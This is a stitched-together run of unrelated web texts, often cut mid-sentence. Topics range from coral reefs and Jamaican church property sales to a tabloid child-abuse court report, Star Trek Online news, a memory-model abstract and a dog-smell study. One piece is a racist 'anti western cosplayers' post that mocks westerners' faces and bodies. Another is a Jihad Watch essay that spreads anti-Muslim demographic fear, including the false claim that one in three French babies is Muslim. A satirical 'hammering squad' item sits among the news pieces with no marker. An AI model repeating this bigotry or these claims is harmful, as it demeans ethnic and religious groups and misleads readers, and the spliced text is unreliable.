The researchers reviewed published experiments that examined the response of coral to rising temperatures, and found none that looked at the carbon dioxide levels they say reefs are likely to experience over the next century. Instead, those studies universally examined much more extreme scenarios, equivalent to several degrees of global warming.
“Most of the coral reef literature assumes business-as-usual emissions to the end of the century, which would result in global warming of 4, 5 or 6C,” says Hughes. “We will never get there – not because people will become more and more concerned about coral reefs – but because Florida will go under water and that will get people’s attention.”
Similarly, the authors said experiments examining the impacts of acidification looked at exaggerated scenarios, and the researchers said there were some suggestions acidification may not have a large impact on the growth of coral.
Great Barrier Reef 2050 plan no longer achievable due to climate change, experts say Read more
The understanding that coral reefs will never be the same is already affecting management practices around the world.
In Australia, the Guardian revealed last week that advisers to the government’s plan to protect the Great Barrier Reef have said it must stop trying to “improve” and restore the natural heritage values, and instead should aim to “maintain the ecological function” of the reef, while accepting its overall health would inevitably decline.
Similarly, sources have told the Guardian that discussions are occurring within Unesco, over how to protect natural heritage values, given that climate change means many heritage sites will inevitably be altered.
Not all coral reef biologists are supportive of efforts to manipulate reef ecosystems.
Justin Marshall from the University of Queensland said the new paper made many good points, but that he did not think attempts to pick and choose parts of reefs to save would be successful. “We’re consistently crap at playing God – or playing Darwin,” Marshall said, adding that ecosystems were too complex to predict the outcomes of particular interventions.A cash crunch is forcing the Jehovah's Witnesses Church in Jamaica to join its colleagues around the world in offloading some of its real estate as part of cost-saving measures.
The church is selling some of its larger temples and other buildings, as it tries to operate from smaller, less expensive, and easier to maintain facilities.
One large temple, located on Cowper Drive, close to Washington Boulevard in St Andrew, is among the properties on sale, and sources say the religious group is asking $45 million for the property.
Four other auditoriums, on Elletson Road and Giltress Street in east Kingston, one in Waterhouse, and one in August Town, St Andrew, are also up for sale.
A local Witness, who asked not to be named as he is not an official spokesperson for the religious group, told The Sunday Gleaner that some local properties have already been sold while others are on offer to the highest bidder.
HIGH OVERHEADS
According to the Witness, high overheads forced the religious body to take the action.
"Maintenance and electricity costs are killers. And the improvements in technology have made it easier for communication between individuals, and so staffing for the temples became redundant," said the Witness.
When our news team contacted the headquarters of the Jehovah's Witnesses in the United States, a representative said he was not an official spokesperson for the religious group and could not speak on the record.
"All the answers you are seeking can be found on our website. With respect to Jamaica, go to the website and use the search facility, enter yearbook, branch consolidation and you should get an answer," said the representative.
But no information specific to the sale of the properties in Jamaica was found.
The religious group had previously announced that as of September 2012, the oversight of more than 20 of its branch offices would be closed and transferred to larger branches.
"In recent years, improvements in communications and printing technology have reduced the need for personnel in some branches. With fewer people working at larger branches, room became available that could be used for housing some who were working in smaller branches in other countries," said the Witness who spoke with our news team.
According to the organisation's website, "Because of the mergers, qualified ministers who had been serving in small branches can now concentrate on preaching the good news."
The group, whose members are well known for their door-to-door preaching and distribution of the Watchtower and Awake magazines, has also seen a scaling down of this activity, particularly in the Corporate Area, in recent times.
Younger Witnesses are "studying and securing jobs for themselves and their families, so the large numbers are not there anymore. But we still have Witnesses," said one local member of the church.
At the last check, in 2011, Jamaica recorded 50,849 Jehovah's Witnesses, up from 44,203 10 years earlier.How to participate in the anti western cosplayers movement :
1. The most simple way is by adding more likes to the movement, the more likes the movement have then the more powerful the maves of the movement will become.
If you want to show your presence in the movement to those who we are against of then you can simply join the anti western cosplayers movement circles, the circles are located at the left of the screen by scrolling down abit.
2. By subscribing to the. By subscribing to the anti western cosplayers movement channel, the more subscribers the channel have then the more powerful the messages from the videos on the channel will have as well so that the western cosplayers who see the videos will also see how many peoples who agreed that what they are doing of cosplaying Anime characters are wrong.
3. The best way is by making blog, video, internet forum topic, etc which mention that what western cosplayers doing of cosplaying Anime characters are wrong because their action are racism towards Asians and they are also ruining Anime which hurt millions of Anime fans.
Evidences supporting the anti western cosplayers movement :
1. The biggest evidence is. The biggest evidence is Japanese marriage, the source is from official Japanese government data.
2. How we Asians make a western based characters actually look like
3. Etc other evidences which we have posted on other topics of our movement's blog that you can browse on
Don't you feel sad and insulted when you see the Anime characters you love are cosplayed [ read : RUINED ] by those who look nothing like the Anime characters you love? The Anime characters you love have small nose but those sicko [ yes they are sicko and you will soon find out why ] have big long nose, the Anime characters you love have round face but those sicko have square face, the Anime characters you love have smallish body form while those sicko have big wide body form, etc those sicko look nothing like the Anime characters you love but those sicko don't care as long as they said they can have fun, they have fun from your suffering.
Other than ruining Anime [ doing bad Cosplay = ruining Anime ] which hurt millions of Anime fans, the reason for this movement is to stop western cosplayers racism towards Asians. Imitating Anime characters = imitating Asians because the characters are based on Asians [ why only Asians look good cosplaying Anime characters ], imitating other race is racism such as the "black face" racism.
This is how good Anime Cosplay are supposed to be which western cosplayers never able to achieve to this day and forever because Anime characters are not based on westerners so it is just impossible to see good western cosplayers cosplaying Anime characters [ use right-click then choose 'open in new window' to see the full images ] :
Japanese also believes the same thing which become as the most important foundation for the anti western cosplayers movement :
F rom hundreds millions Anime fans in the world the one who don't like western cosplayers the most are Japanese, not only because Japanese prefer cuteness for many things including appearance [ westerners are not cute including for Japanese ] but also because Japanese believe westerners look very different from Anime characters. Just check this Japanese toys which making fun of westerners face :
Especially check the 2D character on the toy's background which based on westerners appearance, did you see how very different that western character is compared to Anime characters? That western characters just look like the cartoon characters which westerners made based on themselves.
And this is Japanese depiction of westerners in reality which depicted on Japanese ads :
To see more examples including from official Japanese government and from hundreds of years ago then just go to
. As you can see Japanese believe that westerners have small deep set eyes, big long nose, square face, square jaw and big wide body form which are all the opposite of Anime characters big narrow set eyes, small nose, round face, sharp jaw and smallish body form.
To all western cosplayers :
1. Who said they Cosplay for fun, are you having fun by doing racism towards Asians and by hurting Anime fans? If yes then that is sick and if no then stop your wrong doing. If you western cosplayers want to have fun then do it by not causing any harm to other peoples because having fun by causing harm is what sicko always do.
2. Who said they Cosplay to show their love for Anime, are you showing your love by ruining the one you claim to love? If yes then that is sick and if no then stop your wrong doing. If you western cosplayers really want to show your love for Anime then do it the right way by supporting Anime such as by buying Anime DVD or other Anime related items or at least don't cause any harm to Anime which you western cosplayers claim to love.
3. Who said they Cosplay to show their appreciation for Asians, are you showing your appreciation by doing racism to the one you claim you appreciate? If yes then again that is sick and if no then stop your wrong doing. If you western cosplayers really want to show your appreciation for Asians for making all the Anime you love then do it the right way such as by buying Asians made products or at least don't cause any harm towards Asians.
As for other westerners, know that this movement is not against westerners as a race but only against western cosplayers who Cosplay as Anime/Asian characters, this movement even have no issue with western cosplayers who want to use the term Cosplay but without cosplaying as Anime/Asian characters [ Cosplay originally mean imitating Anime/Asian characters ] and instead choosing to Cosplay as cartoon/western characters. This movement obviously not against westerners who watch Anime, read Manga, listen to Asian music, eating Asian food, doing Asian fashion, speaking in Asian language etc because all of that are not causing any harm towards Asians or what belong to Asians. So this movement against western cosplayers are not |
in Israel went for Mitt Romney, the Republican candidate.
Republican officials this year hope to replicate that effort with an explicitly partisan focus. They estimate that Trump will win the Israel vote by the same margin as Romney did in the last election.
A Hebrew-language Trump campaign poster released earlier this month reads “Trump: In Israel’s interest.” The campaign has also launched a Hebrew-language Twitter feed.Get the biggest daily news stories by email Subscribe Thank you for subscribing We have more newsletters Show me See our privacy notice Could not subscribe, try again later Invalid Email
The furious mother of a 14-year-old schoolboy bedded by an obsessed Jedward fan has likened her to football paedophile Adam Johnson.
The mum, who cannot be named for legal reasons, said it was appalling that warped Kirstin MacRuary has only been locked up for two years after bedding her teen son and another boy, also aged 14.
She said: "I'm very disappointed in the sentencing. She'll be out in less time than it's taken to get her to court. It's definitely not long enough.
"They should have a standard sentence, regardless of if it's a boy or girl.
(Image: SWNS)
"Look at Adam Johnson - he got six years and that was a 15-year-old girl, my son was 14 at the time. What's the difference? What she did was worse.
"The sentencing would have been totally different if it had been two little girls."
Twisted MacRuary, 39, has an obsession with pop twins Jedward and has posted pictures of the "hot" singers on her Facebook page - from when they were 12 years old.
MacRuary, from Dundonald, South Ayrshire, has boasted about her lust for Jedward on social media and posted about her need for "Jedcest".
She pleaded guilty to having sex with the two boys at her house after wooing them over social media.
Sentencing at Ayr Sheriff Court on Tuesday, Sheriff John Montgomery slammed MacRuary for showing no remorse for her behaviour.
The victim's mum said: "She wasn't sorry, she thought what she was doing was right.
"She's disgusting.
(Image: Durham Police/PA)
"No woman in their mid-30's should be interested in 14-year-old boys. It's plain wrong - she knew he was still at school.
"These young boys' hormones are raging at that age but she completely took advantage of them.
"She's obviously been trolling these young boys."
MacRuary groomed her 14-year-old victims online and invited them to her house to get drunk and watch films.
On one occasion, MacRuary perched herself on the arm of a sofa before sliding down next to one of the boys.
She then invited him upstairs and had sex with him.
The boy later said that it "made him feel weird".
MacRuary then made a move on the second 14-year-old boy, who had also been in her house watching a movie.
After MacRuary suggested the boy went upstairs for a nap she followed him into the spare bedroom, undressed him and had sex with him.
(Image: SWNS)
Police launched an investigation after the boy became anxious and made a dash from the house.
Officers checked her laptop and found a chat with the two boys in which she told one of them she missed their "cute little face."
The victim's mum now hopes her son - who is due to sit exams in the next few weeks - will be able to put the sick incident behind him.
She said: "I'll need to tell my son about the sentencing. I only hope it gives him some closure.
"He's quite a soft hearted wee boy so I hope he doesn't feel like it's his fault she's in the jail - she did this. I hope he doesn't feel any guilt.
"I just hope he can concentrate on his exams now. I think because of when the sentencing came up at exam time it's really affected him."
The woman's son is now 17 and in his final year at school and has spent three years waiting for the case to come to court.
His mother said: It's been a long three years. I said to the police at the time 'would this have been different if he was a girl' because the case seemed to take such a long time.
"He's alright now but he did go through a rough patch.
"He had to go to counselling."
MacRuary was sentenced to two years in prison.
She was also placed on the sex offenders register for ten years.A growing number of TV providers are publishing apps for watching live and recorded content outside the home, but arbitrary viewing restrictions and intractable UIs make many of them an exercise in futility. That’s why for that purpose a lot of people rely on products from Sling Media, which seamlessly beam the video and audio from your cable box to the internet. And, starting today, there’s another reason to consider them: the Slingplayer app for smartphones now supports Chromecast.
Owners of the Slingbox M1, 350, or Sling TV/500 can cast content to any Chromecast on the same network as their smartphone, just the same as any other app which supports casting. While Sling apps for set-top boxes have been around a while, the convenience and portability of Chromecast has the potential to extend Slingplayer’s reach. I think it’s a boon for travel – so long as you have a reliable connection, browsing channels from home on a hotel or condo TV is as easy as plugging Chromecast into a television and completing the setup process, at least in theory. That’s pretty sweet.
Tablet support isn’t present, but Sling Media says it’s coming “soon.”
You can grab Slingplayer from Google Play for $14.99.
Play LinkSeason 14 has arrived! This season is filled with new content, returning characters, and an amazing reveal almost a year in the making. This past summer General Martok was found alive, broken out of prison in grand fashion, and reunited with the Klingons. Just last month, captains in Star Trek Online were able to team up with Captain Geordi La Forge on a mission near the Nexus - last seen in Star Trek Generations. With Season 14, Captain La Forge is back in the captain’s chair of the U.S.S. Challenger, and he’s been working with the fledgling Lukari/Kentari alliance to build a habitable colony world that will reunify their people. There has been a mystery swirling around the motivations of the genocidal Tzenkethi, and the first major puzzle piece will fall into place with the featured episode “Melting Pot” that releases today.
In addition to this great new chapter in the Tzenkethi Crusade, captains will be able to participate in a wide variety of new content that is all focused around this brand new Lukari/Kentari colony. Captains will be able to head to orbit and defend the colony from space, as nearly any enemy group will approach and attempt to gain access to the protomatter technology of the Lukari.
The Tzenkethi are the most interested in expanding the destructive power of their protomatter technology, and will actually assault the colony itself in order to obtain more of it. 10 captains can work together to clear the beaches of the colony of a massive Tzenkethi invasion, and coordinate with Geordi to get them off the planet altogether.
Captain Tzen-Gravu is also stepping up the scope of the Tzenkethi Crusade through a brand new Red Alert. Captains will be tasked with defending planets from the Tzenkethi’s new protomatter weapons, with failure meaning the loss of an entire world.
All of this content is built around the amazing new Lukari/Kentari Colony, and fleets will be able to build their own full 5 tier Fleet Holdings on this colony world. This is by far the largest holding fleets will have access to, and it’s packed with amazing visuals, fantastic new rewards that include a unique T6 ship that can be provisioned once the colony is completed, and brand new gameplay options. Fleets will be able to call on up to 20 fleet members to participate in a holographic invasion of the colony world, where everyone succeeds and fails together, and the rewards increased based on the group’s willingness to either take a reward payout or press on for more!
To round out Season 14, we’re proud to announce the Miracle Worker specialization! This new primary specialization will allow captains to live out their Scotty, Geordi, or O’Brien dreams of being the behind-the-scenes miracle worker that makes their captains look good. By progressing in this specialization, you will unlock a variety of abilities that give you far more adaptability in combat. That’s good, both for yourself and your group. This specialization will also release with a full suite of ground and space bridge officer powers that will give captains the ability to make tweaks to their favorite builds and see the full depth and potential of being a Miracle Worker.
Season 14 has been an amazing journey for the entire STO development team, and we’ve had an amazing time playtesting it, both internally and with the community on our test shard. We have Geordi back on an adventure, major reveals in our Tzenkethi Crusade arc, a wide variety of new queued and event based content, the largest fleet holding we’ve ever built, and a brand new primary specialization to give our captains new opportunities to progress. All of this combines into an amazing release that is live now!
Thanks for playing, and I look forward to seeing you in game!If you were to look at a Google Map of Lower Manhattan, you will see something quite unusual marked at Pearl and Broad Streets: the mysteriously named “Portal Down to Old New York.”
For near here, set into the pavement under glass at the pedestrian plaza that curves around 85 Broad Street, are the visible remnants of colonial-era New York, discovered in an archaeological dig undertaken in New York. Every day, thousands of workers in the Financial District pass by without noticing what lies underfoot, preserved under glass.
The 1975 excavation uncovered some of the only physical relics of the old Dutch colony left in Manhattan, dating back to when the city only stretched a few blocks further north. The preserved site, across from the venerable Fraunces Tavern, shows some of the oldest buildings to be seen in the city, including part of the colonial City Hall. The Stadt Huys dates from 1642, from when New York was Dutch-owned and called New Amsterdam.
A few steps away are the remnants of the old Lovelace Tavern, dating from 1670. The Lovelace Tavern had been owned by the then-governor of the fledgling colony, Colonel Francis Lovelace. Its foundations were discovered during construction of 85 Broad Street. Aside from the historic building fragments, the dig also yielded old Dutch tobacco pipes, more than 11,000 pieces of glass, and 23,000 fragments of pottery.Abstract
Despite many years of research, it has proven very difficult to develop a memory model for concurrent programming languages that adequately balances the conflicting desiderata of programmers, compilers, and hardware. In this paper, we propose the first relaxed memory model that (1) accounts for a broad spectrum of features from the C++11 concurrency model, (2) is implementable, in the sense that it provably validates many standard compiler optimizations and reorderings, as well as standard compilation schemes to x86-TSO and Power, (3) justifies simple invariant-based reasoning, thus demonstrating the absence of bad “out-of-thin-air” behaviors, (4) supports “DRF” guarantees, ensuring that programmers who use sufficient synchronization need not understand the full complexities of relaxed-memory semantics, and (5) defines the semantics of racy programs without relying on undefined behaviors, which is a prerequisite for applicability to type-safe languages like Java.The key novel idea behind our model is the notion of *promises*: a thread may promise to execute a write in the future, thus enabling other threads to read from that write out of order. Crucially, to prevent out-of-thin-air behaviors, a promise step requires a thread-local certification that it will be possible to execute the promised write even in the absence of the promise. To establish confidence in our model, we have formalized most of our key results in Coq.[Editor’s note: Hugh Fitzgerald first published this essay here at Jihad Watch in 2004. Now, in light of the landslide election of Emmanuel Macron as President, it is more germane than ever, and hence eminently worthy of republishing. The names of the politicians have changed; the overall situation is the same.]
Imagine that you are a cosseted member of the French elite. One child is doing the khâgne, aiming for rue d’Ulm. Another is now a politechnicien. You are very comfortable, working for the state. You and your spouse are journalists, or writers, or one of that vast tribe of people conducting “recherches,” and life is comfortable, good, the way it should be. Yes, you do notice more and more Muslims about you as you walk, no longer in the banlieues, but in the center of Paris, or Toulouse, or Lyon. And you remember how uneasy you felt, four years ago, when you happened to be walking on the Canebière in Marseille. You decided, then and there, that you would not return.
And you have friends who live in the south. And they tell you that the beurs — some call them maghrébins — make life hell for everyone. They attack French children on the way to school. They vandalize cars. They threaten, and do more than threaten, anyone who is still foolish enough to walk out wearing a kippah or a cross. Whole areas of cities in the south, as in the north, and east, and west, have become off-limits to non-Muslims. In the schools, the teachers have lost authority. They cannot even cover the subjects of World War II, the Resistance, and the murders of the Jews as the state prescribes; they fear, with reason, the violent reaction of the Muslim students.
And as the schools become more and more dangerous for non-Muslim students and teachers, with more time and resources devoted to discipline rather than to learning, French parents and would-be parents are now silently factoring into their childbearing plans the present value of the future cost of what, they see, will now have to be added: private school tuition. And that means, of course, that those French people will plan on smaller families. And they will also be factoring in the growing cost, paid by them, those French taxpayers, for the whole expanding edifice of security, the guards in the schools, the guards at the train stations and métro stations and airports and at government buildings everywhere, the costs of keeping the gravestones from being vandalized, the costs of protecting the synagogues and the churches, the costs for all those tapped phones and agents in mosques, and subsidies to lawyers and judges to hear charges and try cases against Muslims, and the costs of monitoring da’wa in the prisons (more than 50% Muslim).
But the Muslims are indifferent to expenses incurred by the French state. France is part of the world; the world belongs to Allah, and to his Believers. That doctrine has remained immutable for 1400 years. Imam Bouziane, the one they keep trying to deport, had 16 children by two wives, all living on the French state: a representative Muslim man. Over time, the difference between average family size of Muslims and non-Muslims steadily increases. And, over time, the education system continues to disintegrate. Right now, perhaps, you cannot see it. Your children go to the best schools, followed by the best lycées. You vacation in Normandy, or Brittany, or the Île de Ré. And you do not take the metro often enough, or walk in the right districts, or work in the right factories or offices, to understand what tens of millions of your fellow Frenchmen now have to endure. You, for the moment, are still immune, still willfully unaware. You have spent the last few decades learning about the Muslim world from Eric Rouleau, and his epigones (after they silenced Peroncel-Hugoz, the one journalist who reported the truth) in Le Monde. You are deeply-versed in the constantly reported-upon, endlessly dilated-upon, perfidy of the mighty empire of Israel. You know what we have all had dinned into us: that the Arab Muslims are reasonable people, with clearly-justified grievances, grievances so reasonable and so limited in scope, that justice demands they be satisfied. Everyone agrees on the “solution.” It is called a “two-state solution” and of course it is a “solution” for otherwise, of course, it would not have been called a “solution.”
And everything looks the way it always has looked: the linden trees, the river, the bridges, the réverbères, the étalage in the neighborhood boulangerie. Douce France, cher pays de mon enfance. At the end of the school day, chic mothers still congregate in little towns, or small cities, outside the school — this or that Ecole Jules Ferry — waiting to pick up their children. Here come the littlest ones, from Maternelle, running up now — just look at how small they are. And here are the CE1 group, with those huge cartables on their tiny backs. Run, run, run, to Mommy. Oop-la. And then the years of study, study, study marked by ever-larger cahiers — “cahier” and “cartable” are the words that identify French DNA better than Piaf or gauloises, isn’t that true? And now we will read the books, and study the subjects, set down so completely and precisely by the Ministry of Education. And now we are up to the final year, preparing for the Bac, with copies of blue-backed BALISES, guides to Les Châtiments and La Peau de Chagrin. And just look at the results listed in the newspaper: Claire-Alix has a mention très bien. Fantastic. Everything is fine, everything will always stay the same, whole countries cannot change. It’s not possible.
But it is changing, coming apart, quietly, slowly – let’s not look too closely, we mustn’t pay too much attention — the streets, the schools, the hospitals, the ability to speak the truth about things, about life as it is lived, la vita vissuta, as they like to say in a neighboring country. Dominique de Villepin always knew there was nothing to worry about; he was born, after all, in Salé, next to Rabat, even spent a few years of his infancy there; of course he knows his Arabs, his Muslims. And surely Eric Rouleau, who for decades in Le Monde was the resident expert on the Middle East (he was so knowledgeable that he never had to so much as mention the teachings of the Qur’an and Sunna), surely he knew everything, didn’t he? And those French translations of Edward Said that denounced with such passion the Islamophobia, and those vicious cliches with which the blind and rotting West has always caricatured the Arab Muslim world. Oh, we have been so terrible to the Arabs, we colonialists, we French, we Westerners. And then there is the never-ending outrage of Israel, that running colonial sore. Of course, they have every right, those Muslims, to come here to France. We went to their countries once, now they come to ours. And they have every right to hate us, don’t they?
So now we have decided not to understand, and to cut all ties of sympathy to, Israel — and how did we ever have any sympathy for it in the first place, the way some of our parents did back in 1948 or 1956 or 1967? How could they not have seen what the “Palestinian people” had to endure? Hanan, Yasser, Said, Saeb, Aziz, Walid, Rashid, Mohammed — you have won our hearts and minds. Take us, do with us what you will.
No one will mention what is happening or what kinds of things we must begin to think about doing to save ourselves. No one of any decency. And whatever Le Pen and Megret say, we must say the opposite (except, of course, when they show their hostility to “the Jews”). Do not say those things, do not think them. Free thought is all very well in theory, but really — consider the consequences. Don’t dare to think outside that box brimming with idées reçues. Défense de penser au dehors du box.
No, everything will be all right as you stroll down the Avenue Paule-Anne. Those Muslims will never be a match for us. Why, just look at those legionnaires marching à pas lent down the Champs-Elysées, think of that string of desert victories. Inside our heads, it is 1930 and over here is the Exposition coloniale. You remember, tu t’en souviens, that painting by le Douanier Rousseau, don’t you, with the burnoosed Arab standing next to the black Senegalese? I have it right, don’t I? France will always be France. Nothing will ever change.
At a certain point, and despite everything that causes you not to see what is staring you in the face, you realize that something has gone irreparably wrong with your country, and you, and your children, are in danger of losing that country, down to every village and house, qui m’est une province et beaucoup davantage. And you do not know what to do, or how to explain this feeling to others, or in whom to confide your secret fears, or what can be done. It is so confusing, and so upsetting. You cannot vote for Le Pen. You cannot endorse “cowboy” Bush or those ridiculous Americans. You have no place to go.
And then you learn what Jacques Chirac — who now has a Muslim grandchild himself — and Dominique de Villepin, do not wish you to learn. For if you did, you might be very angry. You discover that 1 out of every 3 babies born in France today is a Muslim baby. And that means, in 20 years, one of every three 20-year-olds in France will be a Muslim twenty-year-old. And that means, twenty years after that, at present rates of reproduction, France will have a majority Muslim population. Where shall we hide the statues from Marly-le-roi? And the Venus de Milo? And what about all those paintings of animated life — all those portraits in the Louvre, and the Grand Palais, and the Musée Guimet down there in linden-lined Aix, and everywhere else in art-filled artful France, mère des arts, des armes, et des loix — that are absolutely forbidden according to the immutable strictures of the Qur’an. Should they be sent for safekeeping to those Americans across the seas? By then most of the Jews in France will have left, gone across the oceans for their own safekeeping, to Israel or to English-speaking Canada (they were worried about the Muslim population of Quebec, you see, which had been allowed to grow under the Province of Quebec’s policy of encouraging francophone immigrants, preferring North Africans to potential immigrants from Italy, Greece, Spain), and above all, to America. What luck those Americans have had. No more bequests to France by the likes of the Rothschilds, or Nissim Camondo. No more Donations from another Pierre Lévy. Enjoy the Kufic calligraphy; some find it endlessly fascinating.
For the moment, you allow yourself to believe that something will come up. Most likely, all those Muslims will simply convert. I mean, they do that, don’t they, quite easily I’m told. Of course, why didn’t I think of it, that is exactly what will happen. The situation is always saved in time. Just like during the war. Nothing to worry about. Nothing.OKLAHOMA CITY—Facing a budget shortfall, the State of Oklahoma announced Thursday it would cease to conduct capital punishment by lethal injection and would instead carry out executions by hammering squad. "This will help us cut spending while continuing to ensure justice is served for the most heinous criminals," said Department of Corrections director Justin Jones, who explained that administering the death penalty with the same kind of hammer you might find in a kitchen drawer would eliminate $150,000 from the state's deficit. "It doesn't require any special equipment, since most of our executioners already own hammers. And though it takes considerably longer than more traditional methods, you save quite a bit when you don't have to pay for an anesthesiologist." Jones added that in a pinch, the hammering squad could also use the butt end of a screwdriver or a cast-iron skillet.
AdvertisementThe Piano Man is an issue in a Long Island Assembly race.
Assembly hopeful Dean Hart on Thursday morning criticized his opponent, Republican incumbent Michael Montesano for not passing legislation in Albany that would name a portion of a state road after the beloved Long Island institution Billy Joel.
“My opponent is either impotent or is simply not trying, because everyone loves Bill Joel,” said Hart, who describes himself as a “long time fan” of Joel’s.
“No wonder Albany is a mess, our representative can’t do something as simple as renaming a small portion of a road in Billy Joel’s backyard, where there’s near universal support.”
Hart is putting his money where his mouth is. The Oyster Bay resident is pledging to spend up to $1 million to install what would be a “giant marble statue” of the singer at the newly refurbished Nassau Coliseum that is scheduled to open next spring.
“Next to Teddy Roosevelt, Long Island really doesn’t have a more famous or popular person than Billy Joel,” Hart said. “I can’t think of a better way to unite long Islanders than by erecting this marbled monument before Billy opens up the new Coliseum in April.”
Joel is a native Hicksville resident and has been close with Gov. Andrew Cuomo.Share Email 0 Shares
Vermont’s largest union joined the ranks of unions nationwide that are endorsing Sen. Bernie Sanders, I-Vt., in his run for president.
The Vermont National Education Association, which represents teachers and education workers across the state, issued a statement in support of Sanders’ bid for the Democratic nomination for president, citing aligned interests between the senator and their membership and the senator’s long-held support for labor unions.
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“Bernie’s core values are in line with ours: he is pro-family, pro-worker, pro-education and pro-labor and we believe the time has come for his vision to become a national reality,” said Martha Allen, the organization’s president and a K-12 librarian from Canaan, in a news release.
“In Vermont, we’re very fortunate to have a senator who represents the middle class over the titans of Wall Street,” Allen also said, according to a release from Sanders’ campaign.
“We believe that with Bernie in the White House, America’s working families will be able to flourish and grow. His ideas around banking reform, student debt, and public education are refreshing and exciting,” Allen said.
Vermont-NEA, with 12,000 members, is the state’s largest union and represents educators located in “virtually every town in Vermont,” according to a statement by the union. The group has been a long-time supporter of Sanders, his campaign said.
The union’s news release also promised that, with the NEA board’s nod, members “will begin to spread Bernie’s message, particularly to the state directly east of Vermont’s border.”
What that means, is that the union will connect members in New Hampshire with volunteer opportunities to help with Sanders’ campaign.
“There are 350 Vermont NEA members who live in New Hampshire … our organizers are going to start to identify members, and connect them to the (Sanders) campaign, phone banking, leafleting,” and essentially, “whatever the Sanders campaign needs,” said Allen.
All work would be voluntary, and she added, “some of our members aren’t interested in politics, but some of them are … there are plenty of people who do want to go out and knock on doors. We’ll look for the people who want to get out and work.”
Though Sanders plans to make six stops in New Hampshire over the weekend, Allen said the union had not yet arranged to help in these early days. “It’s way too soon. We haven’t sat down with the Sanders campaign at all. That will all come in time.,” she said.
UNION BACKING AROUND U.S.
Unlike other unions that have voiced support for Sanders’ campaign – including the Vermont chapter of the AFL-CIO, which announced support May 24 and urged the national body to do the same, Allen said her group was not urging such action from the national NEA.
Vermont State Labor Council, AFL-CIO Resolution Urging Support for Bernie 2016 On May 24th, 2015, the Vermont State … Posted by Vermont State Labor Council, AFL-CIO on Sunday, May 24, 2015
“The NEA does know that we’ve done this. But the NEA has a more lengthy system for reviewing candidates,” she said. So far, the national body had interviewed Sanders and Hillary Clinton, as well as Martin O’Malley, she said, each of which had to apply to meet with the Board of Directors, by filling out a Q and A form. No Republican candidates had applied for support, she said.
Other unions that have vocalized support for Sanders: the United Electrical, Radio and Machine Workers, which issued a statement of support on May 28-29, and the South Carolina AFL-CIO, which also urged the national board to back Sanders, announced their support on June 13.
CITES EDUCATIONAL SUPPORT
Sanders voted in favor of the now-spurned No Child Left Behind Act, but since then he’s been vocal in helping recreate the bill, now called the Elementary and Secondary Education Act, Allen said.
As a member of the Senate Health Committee, he’s helped ensure that language in the bill “is something that will work for public schools and for students,” said Allen, especially in rural areas.
“He’s been working on that, and that’s been really helpful. And, just supporting public schools,” she said. In other areas, as pushes have come to support educational funding of charter schools and allowing the privatization of public schools, she said he’s been firm against such moves. “He’s always been in favor of supporting public schools and the middle class,” she said.
Sanders’ campaign didn’t return calls for comment by publication time.
“School teachers and educators are real American heroes. I am honored to have their backing,” Sanders said in a statement released by his campaign.Dogs smell things. A lot of things. A lot of the time. Their noses are very important to them.
And, most dog folks would agree that the dog’s nose is a pretty amazing sense organ. Indeed, we capitalize on our dogs’ olfactory (smellin’) acuity when we train them to select scent articles in Utility training, follow a missing person’s trail, find contraband and other nasty stuff in public places, and even detect the presence of cancer in human patients. Research in recent years has shown us that the dog’s impressive smelling abilities are due to a number of pretty cool physical adaptations:
LOTS OF CELLS: Dogs have hundreds of millions of olfactory receptor cells lining the inside of their nose; many times more than the number found in the human nose. This difference contributes to their ability to detect almost impossibly minute concentrations of compounds. This large number of canine olfactory cells is enough to cause smell envy in any dull-nosed human. BIG BRAIN: Two parts of the dog’s brain that interpret incoming information from the nose are the olfactory bulb and the olfactory cortex. Both of these areas are highly developed in dogs and are important for how dogs use the sensory information that the nose provides. SNIFF SNIFF: Dogs sniff. We don’t. Sniffing involves a disruption of the dog’s normal breathing pattern and functions to enhance a dog’s ability to detect and differentiate smells. Here is what we currently understand about sniffing: First, as the dog inhales during a sniff, the air is diverted into several flow paths. This partitioning effectively increases the number of sensory cells within the nose that inhaled components are exposed to, increasing olfactory sensitivity. Then, during the exhale phase of the sniff, the air leaves via the dog’s “side-nostrils”, not out the front of the nose as it does with normal breathing. (So that’s what those slits in the side of my dog’s nose are for! Who knew?). Exhaling through the “side nose” is presumed to prevent the dog’s sensory cells from being repeatedly exposed to the same compounds, thus slowing the process of scent habituation. (Consider how you no longer can smell “wet dog” after being around it for a while; that’s scent habituation).
Choice by Smell: Recently, researchers at Barnard College’s Dog Cognition Lab asked a broad question about the dog’s olfactory ability: “How do pet dogs use their nose to make decisions and choices in their every day lives?”. Alexandra Horowitz, Julie Hecht and Alexandra Dedrick began this series of studies by first asking if dogs have the ability to discriminate between large and small concentrations of smells (1). This question was of interest because previous work has shown that, similar to many primate species, dogs can visually discriminate between different quantities of food (2). It follows that, since the dog’s nose is so spectacularly talented, that they would be at least equally capable of the same type of choice using their noses. Here is a summary of their recently published study:
Study Design: A group of 69 pet dogs (and their people) were recruited for the study. Following some initial pre-training, dogs were presented with two covered plates, equidistant apart. One plate held a single chunk of hotdog. The second, the motherload plate, held five chunks of hotdog. In the first trial, dogs were given no guidance at all from their owner and were allowed to choose one of the two plates. In a second trial, designed to test for the effects of social cues, the owner showed a clear preference for the plate holding the single piece of food before their dog was allowed to make his or her selection. (These procedures were quite involved and are described in detail in the paper).
I’m pretty sure this is the BIGGEST cupcake!
Results: There are actually a number of interesting findings (and additional questions) reported in this paper. For brevity, I will focus on two that I found to be especially relevant:
First: The dogs in this study, who were pet dogs that had no previous training in any type of scent detection or scent following work, did not demonstrate an ability to discriminate a “small quantity” from a “large quantity” of food using only their sense of smell. This result is surprising, since dogs do seem to have this ability when tested using vision and considering what we know about dogs’ highly developed olfactory acuity. Second: When dogs’ owners showed a clear preference for the plate that held the smaller quantity of food, the dogs did show a significant preference – for the plate with the smaller quantity! In other words, dogs were readily and easily influenced by the social cues provided by their owners regarding which plate to choose. This result was in agreement with the visual preference study – dogs of owners who pointed at a plate that clearly contained the smaller pile of food were more likely to choose that plate over the plate whose food runneth over!
Conclusions: The authors of this study suggest that our dogs, living in a human-centered environment, may not always be using their noses to the extent of their actual ability. Perhaps when making decisions in everyday life dogs learn to depend too heavily upon social cues from their human companions, to the extent that they ignore information from their own senses.
